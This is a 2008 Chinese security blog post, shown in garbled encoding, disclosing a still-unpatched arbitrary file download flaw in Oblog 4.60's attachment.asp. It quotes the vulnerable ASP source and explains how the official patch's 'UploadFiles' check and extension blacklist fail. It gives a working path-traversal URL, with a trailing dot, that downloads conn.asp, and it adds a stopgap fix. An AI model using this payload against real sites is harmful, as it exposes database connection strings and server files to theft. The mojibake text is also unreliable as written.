°Ù¶ÈÊ×Ò³ | °Ù¶È¿Õ¼ä
 
²é¿´ÎÄÕÂ
 
ÕæµÄ²¹ÁËÂð Oblog©¶´ÖØÏÖ
2008-05-01 22:14
±¾À´Õâ¸öÀñÎïÖ»ÊǸøBK˲¼äȺµÄÅóÓÑÃǹ²ÏíÁË£¬ÌØÒâ˵²»ÈÃÄÃÈ¥¸ã¹Ù·½£¬²»ÐÒµÄÊÇ»¹ÊÇÓÐÈËÊ×ÏÈÄùٷ½²âÊÔ£¬ÈÃÈ˺ÜÓôÃÆ£¬TÁ˸ÃÈË£¬À­ºÚ¡£½ñÌì·Å³öÀ´¸ø´ó¼Ò¡£
########################################################################
Tr4c3[at]126[dot]com дÓÚ[2008-4-29]
°æÈ¨ËùÓÐ:
http://www.nspcn.org/
http://www.tr4c3.com/
Bk˲¼ä [QQȺ] & Hi [QQȺ]
########################################################################
³ÌÐòÏÂÔØ£ºhttp://down.oblog.cn/oblog4/oblog46_Final_20080403.rar
########################################################################
ÃèÊö£º

ÓÞÈ˽ÚÄÇÌìµñÅÆÔÚblogÉϹ«²¼ÁËÒ»¸öOblogÈÎÒâÎļþÏÂÔØÂ©¶´¡£ÎÄÕ¼ûhttp://www.tr4c3.com/post/302.html <0day>ÓÞÈ˽ڵÄÀñÎï oblogÎļþÏÂÔØÂ©¶´¡£
Ëæºó¹Ù·½·¢²¼µÄOblog°æ±¾Àï¶Ô´úÂë×öÁËЩÐí¸Ä¶¯£¬²¢·¢²¼ÁËÏà¹Ø²¹¶¡¡£Ïê¼û£ºhttp://bbs.oblog.cn/dispbbs.asp?boardid=119&Id=132375 [oblog46ÌåÑé°æ_patch_20080403²¹¶¡]
http://www.target.com/attachment.asp?path=./conn.aspÕâÑùÒѾ­ÎÞ·¨ÏÂÔØÎļþ£¬ÎÒ´Ó¹Ù·½ÏÂÔØÁË×îа汾4.60 Final Build080403 Access(¼¯³ÉÁËattachment.asp²¹¶¡)£¬·¢ÏÖÐ޸ĺóµÄ´úÂë²¢²»Äܽâ¾öÎÊÌâ,OBlogÈÎÒâÎļþÏÂÔØÂ©¶´ÒÀÈ»´æÔÚ¡£¾ßÌå¿´attachment.asp´úÂë¡£
########################################################################
¹Ø¼ü²¿·Ö£º

Path = Trim(Request("path")) '»ñÈ¡Óû§Ìá½»µÄ·¾¶
FileID = Trim(Request("FileID"))
If FileID ="" And Path = "" Then
         Response.Write "²ÎÊý²»×ã"
         Response.End
End If
...
If CheckDownLoad   Or 1= 1Then
         If Path = "" Then
                 set rs = Server.CreateObject("ADODB.RecordSet")
                 link_database
                 SQL = ("select file_path,userid,file_ext,ViewNum FROM oblog_upfile WHERE FileID = "&CLng(FileID))
                 rs.open sql,conn,1,3
                 If Not rs.Eof Then
                         uid = rs(1)
                         file_ext = rs(2)
                         rs("ViewNum") = rs("ViewNum") + 1
                         rs.Update
                         downloadFile Server.MapPath(rs(0)),0
                 Else
                         Response.Status=404
                         Response.Write "¸Ã¸½¼þ²»´æÔÚ!"
                 End If
                 rs.Close
                 Set rs = Nothing
         Else
                 If InStr(path,Oblog.CacheConfig(56)) > 0 Then 'Tr4c3±ê×¢£º×¢ÒâÕâÀ½ö½öÅжÏÓû§Ìá½»µÄ·¾¶ÊÇ·ñ°üº¬UploadFiles£¬ÎªÕæÔòµ÷ÓÃdownloadfileº¯ÊýÏÂÔØÎļþ
                         downloadFile Server.MapPath(Path),1
                 End if
         End If
Else
         'Èç¹û¸½¼þΪͼƬµÄ»°£¬µ±È¨ÏÞ¼ìÑéÎÞ·¨Í¨¹ýÔòµ÷ÓÃһĬÈÏͼƬ£¬·ÀÖ¹<img>±ê¼ÇÎÞ·¨µ÷Óã¬Ó°ÏìÏÔʾЧ¹û
         If Path = "" Then
                 Response.Status=403
                 Response.Write ShowDownErr
                 Response.End
         Else
                 downloadFile Server.MapPath(blogdir&"images/oblog_powered.gif"),1
         End if
End if

Set oblog = Nothing

Sub downloadFile(strFile,stype)
         On Error Resume Next
         Server.ScriptTimeOut=9999999
         Dim S,fso,f,intFilelength,strFilename
         strFilename = strFile
         Response.Clear
         Set s = Server.CreateObject(oblog.CacheCompont(2))
         s.Open
         s.Type = 1
         Set fso = Server.CreateObject(oblog.CacheCompont(1))
         If Not fso.FileExists(strFilename) Then
                 If stype = 0 Then
                         Response.Status=404
                         Response.Write "¸Ã¸½¼þÒѾ­±»É¾³ý!"
                         Exit Sub
                 Else
                         strFilename = Server.MapPath(blogdir&"images/nopic.gif")
                 End if
         End If
         Set f = fso.GetFile(strFilename)
         intFilelength = f.size
         s.LoadFromFile(strFilename)
         If Err Then
                  Response.Write("<h1>´íÎó: </h1>" & Err.Description & "<p>")
                 Response.End
         End If
         Set fso=Nothing
         Dim Data
         Data=s.Read
         s.Close
         Set s=Nothing
         Dim ContentType
         select Case LCase(Right(strFile, 4))
         Case ".asp",".mdb",".config",".js" 'Tr4c3±ê×¢£ºÔÙ¿´ÕâÀÏëÆðÀ´Ê²Ã´À´ÁË£¿¶ÔÁË£¬Ç°¼¸ÌìÎÒ·¢µÄ·ÐÌÚÕ¹ÍûÐÂÎÅϵͳµÄÈÎÒâÏÂÔØÂ©¶´¸úÕâ¸ö¼ì²éµÄ·½·¨²î²»¶à[http://www.tr4c3.com/post/306.html]£¬ÀûÓ÷½·¨Ò²ÏàËÆ£¬ÉñÆæµÄ"."ÓÖÅÉÉÏÓó¡ÁË¡£
                 Exit Sub
         Case ".asf"
                 ContentType = "video/x-ms-asf"
         Case ".avi"
                 ContentType = "video/avi"
         Case ".doc"
                 ContentType = "application/msword"
         Case ".zip"
                 ContentType = "application/zip"
         Case ".xls"
                 ContentType = "application/vnd.ms-excel"
         Case ".gif"
                 ContentType = "image/gif"
         Case ".jpg", "jpeg"
                 ContentType = "image/jpeg"
         Case ".wav"
                 ContentType = "audio/wav"
         Case ".mp3"
                 ContentType = "audio/mpeg3"
         Case ".mpg", "mpeg"
                 ContentType = "video/mpeg"
         Case ".rtf"
                 ContentType = "application/rtf"
         Case ".htm", "html"
                 ContentType = "text/html"
         Case ".txt"
                 ContentType = "text/plain"
         Case Else
                 ContentType = "application/octet-stream"
         End select
         If Response.IsClientConnected Then
                 If Not (InStr(LCase(f.name),".gif")>0 Or InStr(LCase(f.name),".jpg")>0 Or InStr(LCase(f.name),".jpeg")>0 Or InStr(LCase(f.name),".bmp")>0 Or InStr(LCase(f.name),".png")>0 )Then
                         Response.AddHeader "Content-Disposition", "attachment; filename=" & f.name
                 End If
                 Response.AddHeader "Content-Length", intFilelength
                 Response.CharSet = "UTF-8"
                 Response.ContentType = ContentType
                 Response.BinaryWrite Data
                 Response.Flush
                 Response.Clear()
         End If
End Sub

########################################################################
ÀûÓ÷½·¨£º
http://www.target.com/attachment.asp?path=UploadFiles/../conn.asp.
########################################################################
ÐÞ²¹½¨Ò飺
µÈ´ý¹Ù·½·¢²¼ÐµIJ¹¶¡³ÌÐò¡£
########################################################################
ÁÙʱ½â¾ö°ì·¨£º
½«attachment.aspµÚ5ÐÐ Path = Trim(Request("path")) ¸Ä³É Path = Replace(Trim(Request("path")),"..","")
########################################################################

Àà±ð£ºÍøÂ簲ȫ | Ìí¼Óµ½ËÑ²Ø | ä¯ÀÀ() | ÆÀÂÛ (2)
 
×î½ü¶ÁÕߣº
 
ÍøÓÑÆÀÂÛ£º
1
2008-05-02 16:05
ooo, i see.
 
2
2008-05-03 17:07
¶÷
 
·¢±íÆÀÂÛ£º
ÐÕ¡¡Ãû£º
ÍøÖ·»òÓÊÏ䣺 (Ñ¡Ìî)
ÄÚ¡¡ÈÝ£º
ÑéÖ¤Â룺
 

     

©2008 Baidu